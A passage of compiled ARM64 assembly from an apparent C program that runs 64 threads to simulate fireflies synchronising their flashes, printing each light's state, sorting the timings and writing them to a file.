tbnz w8, #0, LBB7_2
b LBB7_1
LBB7_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #116]
b LBB7_47
LBB7_2:
adrp x0, _canYouSeeLock@GOTPAGE
ldr x0, [x0, _canYouSeeLock@GOTPAGEOFF]
mov x1, #0
bl _pthread_mutex_init
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_4
b LBB7_3
LBB7_3:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #116]
b LBB7_47
LBB7_4:
adrp x9, _quitNow@PAGE
mov w8, #1
str w8, [x9, _quitNow@PAGEOFF]
str wzr, [sp, #112]
b LBB7_5
LBB7_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #112]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_8
b LBB7_6
LBB7_6: ; in Loop: Header=BB7_5 Depth=1
ldr w9, [sp, #112]
ldrsw x10, [sp, #112]
add x8, sp, #632
str w9, [x8, x10, lsl #2]
ldrsw x10, [sp, #112]
add x9, sp, #120
add x0, x9, x10, lsl #3
ldrsw x9, [sp, #112]
add x3, x8, x9, lsl #2
mov x1, #0
adrp x2, _remoteFirefly@PAGE
add x2, x2, _remoteFirefly@PAGEOFF
bl _pthread_create
b LBB7_7
LBB7_7: ; in Loop: Header=BB7_5 Depth=1
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_5
LBB7_8:
adrp x8, _quitNow@PAGE
str wzr, [x8, _quitNow@PAGEOFF]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str wzr, [sp, #112]
b LBB7_9
LBB7_9: ; =>This Loop Header: Depth=1
; Child Loop BB7_11 Depth 2
ldr w8, [sp, #112]
mov w9, #60000
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB7_24
b LBB7_10
LBB7_10: ; in Loop: Header=BB7_9 Depth=1
str wzr, [sp, #108]
b LBB7_11
LBB7_11: ; Parent Loop BB7_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #108]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_17
b LBB7_12
LBB7_12: ; in Loop: Header=BB7_11 Depth=2
ldr x8, [sp, #72] ; 8-byte Folded Reload
ldr x9, [sp, #64] ; 8-byte Folded Reload
ldrsw x10, [sp, #108]
ldr w9, [x9, x10, lsl #2]
; implicit-def: $x10
mov x10, x9
ldrsw x9, [sp, #108]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldrsw x9, [sp, #108]
adrp x8, _lightOn@PAGE
add x8, x8, _lightOn@PAGEOFF
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB7_14
b LBB7_13
LBB7_13: ; in Loop: Header=BB7_11 Depth=2
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldr w9, [sp, #108]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB7_15
LBB7_14: ; in Loop: Header=BB7_11 Depth=2
ldr w9, [sp, #108]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB7_15
LBB7_15: ; in Loop: Header=BB7_11 Depth=2
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fflush
b LBB7_16
LBB7_16: ; in Loop: Header=BB7_11 Depth=2
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB7_11
LBB7_17: ; in Loop: Header=BB7_9 Depth=1
mov x9, sp
mov x8, #24
str x8, [x9]
mov x8, #80
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fflush
ldr w8, [sp, #112]
mov w9, #30000
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB7_20
b LBB7_18
LBB7_18: ; in Loop: Header=BB7_9 Depth=1
bl _inSync
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB7_20
b LBB7_19
LBB7_19:
b LBB7_24
LBB7_20: ; in Loop: Header=BB7_9 Depth=1
mov w0, #1
bl _sleepMilliseconds
adrp x8, _masterClock@PAGE
ldr w9, [x8, _masterClock@PAGEOFF]
add w9, w9, #1
str w9, [x8, _masterClock@PAGEOFF]
ldr w8, [x8, _masterClock@PAGEOFF]
subs w8, w8, #1000
cset w8, ne
tbnz w8, #0, LBB7_22
b LBB7_21
LBB7_21: ; in Loop: Header=BB7_9 Depth=1
adrp x8, _masterClock@PAGE
str wzr, [x8, _masterClock@PAGEOFF]
b LBB7_22
LBB7_22: ; in Loop: Header=BB7_9 Depth=1
b LBB7_23
LBB7_23: ; in Loop: Header=BB7_9 Depth=1
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_9
LBB7_24:
ldr x8, [sp, #56] ; 8-byte Folded Reload
adrp x10, _quitNow@PAGE
mov w9, #1
str w9, [x10, _quitNow@PAGEOFF]
ldr x8, [x8]
str x8, [sp, #96]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fopen
ldr x8, [sp, #56] ; 8-byte Folded Reload
str x0, [x8]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
str wzr, [sp, #112]
b LBB7_25
LBB7_25: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #112]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_28
b LBB7_26
LBB7_26: ; in Loop: Header=BB7_25 Depth=1
ldr x8, [sp, #72] ; 8-byte Folded Reload
ldr x9, [sp, #64] ; 8-byte Folded Reload
ldrsw x11, [sp, #112]
adrp x10, _lightOnTime@PAGE
add x10, x10, _lightOnTime@PAGEOFF
ldr w10, [x10, x11, lsl #2]
; implicit-def: $x12
mov x12, x10
ldr w10, [sp, #112]
; implicit-def: $x11
mov x11, x10
ldrsw x10, [sp, #112]
ldr w9, [x9, x10, lsl #2]
; implicit-def: $x10
mov x10, x9
ldrsw x9, [sp, #112]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB7_27
LBB7_27: ; in Loop: Header=BB7_25 Depth=1
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_25
LBB7_28:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fclose
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #96]
str x8, [x9]
mov x0, #64
mov x1, #16
bl _calloc
str x0, [sp, #88]
ldr x8, [sp, #88]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB7_46
b LBB7_29
LBB7_29:
str wzr, [sp, #112]
b LBB7_30
LBB7_30: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #112]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_33
b LBB7_31
LBB7_31: ; in Loop: Header=BB7_30 Depth=1
ldr x8, [sp, #72] ; 8-byte Folded Reload
ldr x9, [sp, #64] ; 8-byte Folded Reload
ldr w10, [sp, #112]
ldr x11, [sp, #88]
ldrsw x12, [sp, #112]
lsl x12, x12, #4
str w10, [x11, x12]
ldrsw x11, [sp, #112]
adrp x10, _lightOnTime@PAGE
add x10, x10, _lightOnTime@PAGEOFF
ldr w10, [x10, x11, lsl #2]
ldr x11, [sp, #88]
ldrsw x12, [sp, #112]
add x11, x11, x12, lsl #4
str w10, [x11, #4]
ldrsw x10, [sp, #112]
ldr w9, [x9, x10, lsl #2]
ldr x10, [sp, #88]
ldrsw x11, [sp, #112]
add x10, x10, x11, lsl #4
str w9, [x10, #8]
ldrsw x9, [sp, #112]
ldr w8, [x8, x9, lsl #2]
ldr x9, [sp, #88]
ldrsw x10, [sp, #112]
add x9, x9, x10, lsl #4
str w8, [x9, #12]
b LBB7_32
LBB7_32: ; in Loop: Header=BB7_30 Depth=1
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_30
LBB7_33:
ldr x0, [sp, #88]
mov x1, #64
mov x2, #16
adrp x3, _faCmp@PAGE
add x3, x3, _faCmp@PAGEOFF
bl _qsort
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x8, [x8]
str x8, [sp, #80]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fopen
ldr x8, [sp, #56] ; 8-byte Folded Reload
str x0, [x8]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #112]
b LBB7_34
LBB7_34: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #112]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_37
b LBB7_35
LBB7_35: ; in Loop: Header=BB7_34 Depth=1
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w8, [x8, #4]
; implicit-def: $x12
mov x12, x8
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
lsl x9, x9, #4
ldr w8, [x8, x9]
; implicit-def: $x11
mov x11, x8
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w8, [x8, #8]
; implicit-def: $x10
mov x10, x8
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB7_36
LBB7_36: ; in Loop: Header=BB7_34 Depth=1
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_34
LBB7_37:
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fclose
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #80]
str x8, [x9]
mov x9, sp
mov x8, #1
str x8, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
bl _getchar
str wzr, [sp, #108]
b LBB7_38
LBB7_38: ; =>This Loop Header: Depth=1
; Child Loop BB7_40 Depth 2
ldr w8, [sp, #108]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB7_45
b LBB7_39
LBB7_39: ; in Loop: Header=BB7_38 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str wzr, [sp, #112]
b LBB7_40
LBB7_40: ; Parent Loop BB7_38 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #112]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB7_43
b LBB7_41
LBB7_41: ; in Loop: Header=BB7_40 Depth=2
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w8, [x8, #8]
; implicit-def: $x10
mov x10, x8
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
str x0, [sp, #40] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
lsl x9, x9, #4
ldr w9, [x8, x9]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
str x0, [sp, #48] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fflush
mov w0, #300
bl _sleepMilliseconds
ldr x0, [sp, #40] ; 8-byte Folded Reload
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w8, [x8, #8]
; implicit-def: $x10
mov x10, x8
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
add x8, x8, x9, lsl #4
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
bl _printf
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x8, [sp, #88]
ldrsw x9, [sp, #112]
lsl x9, x9, #4
ldr w9, [x8, x9]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
bl _printf
b LBB7_42
LBB7_42: ; in Loop: Header=BB7_40 Depth=2
ldr w8, [sp, #112]
add w8, w8, #1
str w8, [sp, #112]
b LBB7_40
LBB7_43: ; in Loop: Header=BB7_38 Depth=1
b LBB7_44
LBB7_44: ; in Loop: Header=BB7_38 Depth=1
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB7_38
LBB7_45:
ldr x0, [sp, #88]
bl _free
b LBB7_46
LBB7_46:
mov w0, #2000
bl _sleepMilliseconds
adrp x0, _randLock@GOTPAGE
ldr x0, [x0, _randLock@GOTPAGEOFF]
bl _pthread_mutex_destroy
mov x9, sp
mov x8, #25
str x8, [x9]
mov x8, #1
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
str wzr, [sp, #116]
b LBB7_47
LBB7_47:
ldr w8, [sp, #116]
str w8, [sp, #36] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB7_49
b LBB7_48
LBB7_48:
bl ___stack_chk_fail
LBB7_49:
ldr w0, [sp, #36] ; 4-byte Folded Reload
add sp, sp, #896
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _firefly ; -- Begin function firefly
.p2align 2
_firefly: ; @firefly
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
stur x8, [x29, #-16]
mov w0, #0
str w0, [sp, #4] ; 4-byte Folded Spill
stur wzr, [x29, #-24]
movi d0, #0000000000000000
stur s0, [x29, #-28]
str wzr, [sp, #32]
str wzr, [sp, #28]
mov w1, #500
str w1, [sp] ; 4-byte Folded Spill
bl _randInRange
str w0, [sp, #24]
mov w0, #170
mov w1, #180
bl _randInRange
str w0, [sp, #20]
str wzr, [sp, #16]
mov w0, #999
mov w1, #1001
bl _randInRange
ldr w1, [sp] ; 4-byte Folded Reload
mov x8, x0
ldr w0, [sp, #4] ; 4-byte Folded Reload
str w8, [sp, #12]
bl _randInRange
bl _sleepMilliseconds
b LBB8_1
LBB8_1: ; =>This Loop Header: Depth=1
; Child Loop BB8_9 Depth 2
adrp x8, _quitNow@PAGE
ldr w8, [x8, _quitNow@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_22
b LBB8_2
LBB8_2: ; in Loop: Header=BB8_1 Depth=1
ldur w8, [x29, #-24]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_4
b LBB8_3
LBB8_3: ; in Loop: Header=BB8_1 Depth=1
ldur x9, [x29, #-16]
mov w8, #1
str w8, [x9]
b LBB8_4
LBB8_4: ; in Loop: Header=BB8_1 Depth=1
ldur x8, [x29, #-16]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_8
b LBB8_5
LBB8_5: ; in Loop: Header=BB8_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
ldr w8, [sp, #16]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_7
b LBB8_6
LBB8_6: ; in Loop: Header=BB8_1 Depth=1
ldur x8, [x29, #-16]
str wzr, [x8]
str wzr, [sp, #16]
b LBB8_7
LBB8_7: ; in Loop: Header=BB8_1 Depth=1
b LBB8_8
LBB8_8: ; in Loop: Header=BB8_1 Depth=1
stur wzr, [x29, #-20]
b LBB8_9
LBB8_9: ; Parent Loop BB8_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-20]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB8_17
b LBB8_10
LBB8_10: ; in Loop: Header=BB8_9 Depth=2
ldur w8, [x29, #-20]
ldur x9, [x29, #-16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB8_15
b LBB8_11
LBB8_11: ; in Loop: Header=BB8_9 Depth=2
ldursw x9, [x29, #-20]
adrp x8, _lightOn@PAGE
add x8, x8, _lightOn@PAGEOFF
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_13
b LBB8_12
LBB8_12: ; in Loop: Header=BB8_9 Depth=2
ldur s0, [x29, #-24]
scvtf s1, s0
ldur s0, [x29, #-28]
fadd s0, s0, s1
stur s0, [x29, #-28]
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB8_14
LBB8_13: ; in Loop: Header=BB8_9 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB8_14
LBB8_14: ; in Loop: Header=BB8_9 Depth=2
b LBB8_15
LBB8_15: ; in Loop: Header=BB8_9 Depth=2
b LBB8_16
LBB8_16: ; in Loop: Header=BB8_9 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB8_9
LBB8_17: ; in Loop: Header=BB8_1 Depth=1
mov w0, #1
bl _sleepMilliseconds
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
ldur w8, [x29, #-24]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB8_21
b LBB8_18
LBB8_18: ; in Loop: Header=BB8_1 Depth=1
ldur s0, [x29, #-28]
ldr s1, [sp, #32]
scvtf s1, s1
fdiv s0, s0, s1
fcvtzs w8, s0
str w8, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #87
str w8, [sp, #24]
ldr w8, [sp, #24]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB8_20
b LBB8_19
LBB8_19: ; in Loop: Header=BB8_1 Depth=1
ldr w9, [sp, #24]
mov w8, #1000
subs w8, w8, w9
str w8, [sp, #24]
b LBB8_20
LBB8_20: ; in Loop: Header=BB8_1 Depth=1
stur wzr, [x29, #-24]
b LBB8_21
LBB8_21: ; in Loop: Header=BB8_1 Depth=1
b LBB8_1
LBB8_22:
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _makeFireflies ; -- Begin function makeFireflies
.p2align 2
_makeFireflies: ; @makeFireflies
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #576
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #40]
adrp x0, _randLock@GOTPAGE
ldr x0, [x0, _randLock@GOTPAGEOFF]
mov x1, #0
bl _pthread_mutex_init
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB9_2
b LBB9_1
LBB9_1:
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #52]
b LBB9_21
LBB9_2:
str wzr, [sp, #48]
b LBB9_3
LBB9_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #48]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB9_6
b LBB9_4
LBB9_4: ; in Loop: Header=BB9_3 Depth=1
ldrsw x9, [sp, #48]
add x8, sp, #56
add x0, x8, x9, lsl #3
ldrsw x9, [sp, #48]
adrp x8, _lightOn@PAGE
add x8, x8, _lightOn@PAGEOFF
add x3, x8, x9, lsl #2
mov x1, #0
adrp x2, _firefly@PAGE
add x2, x2, _firefly@PAGEOFF
bl _pthread_create
b LBB9_5
LBB9_5: ; in Loop: Header=BB9_3 Depth=1
ldr w8, [sp, #48]
add w8, w8, #1
str w8, [sp, #48]
b LBB9_3
LBB9_6:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w8, #1115684864
fmov s0, w8
fsqrt s0, s0
fcvtzs w8, s0
str w8, [sp, #40]
str wzr, [sp, #48]
b LBB9_7
LBB9_7: ; =>This Loop Header: Depth=1
; Child Loop BB9_9 Depth 2
ldr w8, [sp, #48]
mov w9, #20000
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB9_20
b LBB9_8
LBB9_8: ; in Loop: Header=BB9_7 Depth=1
mov x9, sp
mov x8, #10
str x8, [x9]
mov x8, #1
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
str wzr, [sp, #44]
b LBB9_9
LBB9_9: ; Parent Loop BB9_7 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #44]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB9_18
b LBB9_10
LBB9_10: ; in Loop: Header=BB9_9 Depth=2
ldrsw x9, [sp, #44]
adrp x8, _lightOn@PAGE
add x8, x8, _lightOn@PAGEOFF
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB9_12
b LBB9_11
LBB9_11: ; in Loop: Header=BB9_9 Depth=2
adrp x8, _bulb@PAGE
ldr x8, [x8, _bulb@PAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
b LBB9_13
LBB9_12: ; in Loop: Header=BB9_9 Depth=2
adrp x8, l_.str.16@PAGE
add x8, x8, l_.str.16@PAGEOFF
str x8, [sp, #32] ; 8-byte Folded Spill
b LBB9_13
LBB9_13: ; in Loop: Header=BB9_9 Depth=2
ldr x10, [sp, #32] ; 8-byte Folded Reload
ldr w8, [sp, #44]
add w8, w8, #1
subs w8, w8, #64
cset w8, eq
and w9, w8, #0x1
adrp x8, l_.str.16@PAGE
add x8, x8, l_.str.16@PAGEOFF
ands w9, w9, #0x1
csel x8, x8, x8, ne
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _printf
ldr w8, [sp, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB9_16
b LBB9_14
LBB9_14: ; in Loop: Header=BB9_9 Depth=2
ldr w8, [sp, #44]
add w8, w8, #1
ldr w10, [sp, #40]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB9_16
b LBB9_15
LBB9_15: ; in Loop: Header=BB9_9 Depth=2
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
b LBB9_16
LBB9_16: ; in Loop: Header=BB9_9 Depth=2
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
b LBB9_17
LBB9_17: ; in Loop: Header=BB9_9 Depth=2
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB9_9
LBB9_18: ; in Loop: Header=BB9_7 Depth=1
mov w0, #1
bl _sleepMilliseconds
b LBB9_19
LBB9_19: ; in Loop: Header=BB9_7 Depth=1
ldr w8, [sp, #48]
add w8, w8, #1
str w8, [sp, #48]
b LBB9_7
LBB9_20:
adrp x9, _quitNow@PAGE
mov w8, #1
str w8, [x9, _quitNow@PAGEOFF]
mov w0, #2000
bl _sleepMilliseconds
adrp x0, _randLock@GOTPAGE
ldr x0, [x0, _randLock@GOTPAGEOFF]
bl _pthread_mutex_destroy
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
str wzr, [sp, #52]
b LBB9_21
LBB9_21:
ldr w8, [sp, #52]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB9_23
b LBB9_22
LBB9_22:
bl ___stack_chk_fail
LBB9_23:
ldr w0, [sp, #28] ; 4-byte Folded Reload
add sp, sp, #576
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _dumpFly ; -- Begin function dumpFly
.p2align 2
_dumpFly: ; @dumpFly
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB10_1
LBB10_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB10_4
b LBB10_2
LBB10_2: ; in Loop: Header=BB10_1 Depth=1
ldursw x9, [x29, #-4]
adrp x8, _flyRowPosition@GOTPAGE
ldr x8, [x8, _flyRowPosition@GOTPAGEOFF]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
b LBB10_3
LBB10_3: ; in Loop: Header=BB10_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_1
LBB10_4:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
stur wzr, [x29, #-4]
b LBB10_5
LBB10_5: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB10_8
b LBB10_6
LBB10_6: ; in Loop: Header=BB10_5 Depth=1
ldursw x9, [x29, #-4]
adrp x8, _flyColPosition@GOTPAGE
ldr x8, [x8, _flyColPosition@GOTPAGEOFF]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
b LBB10_7
LBB10_7: ; in Loop: Header=BB10_5 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_5
LBB10_8:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _printf
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _printf
stur wzr, [x29, #-4]
b LBB10_9
LBB10_9: ; =>This Loop Header: Depth=1
; Child Loop BB10_11 Depth 2
ldur w8, [x29, #-4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB10_16
b LBB10_10
LBB10_10: ; in Loop: Header=BB10_9 Depth=1
stur wzr, [x29, #-8]
b LBB10_11
LBB10_11: ; Parent Loop BB10_9 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-8]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB10_14
b LBB10_12
LBB10_12: ; in Loop: Header=BB10_11 Depth=2
ldursw x9, [x29, #-4]
adrp x8, _distances@PAGE
add x8, x8, _distances@PAGEOFF
add x8, x8, x9, lsl #8
ldursw x9, [x29, #-8]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
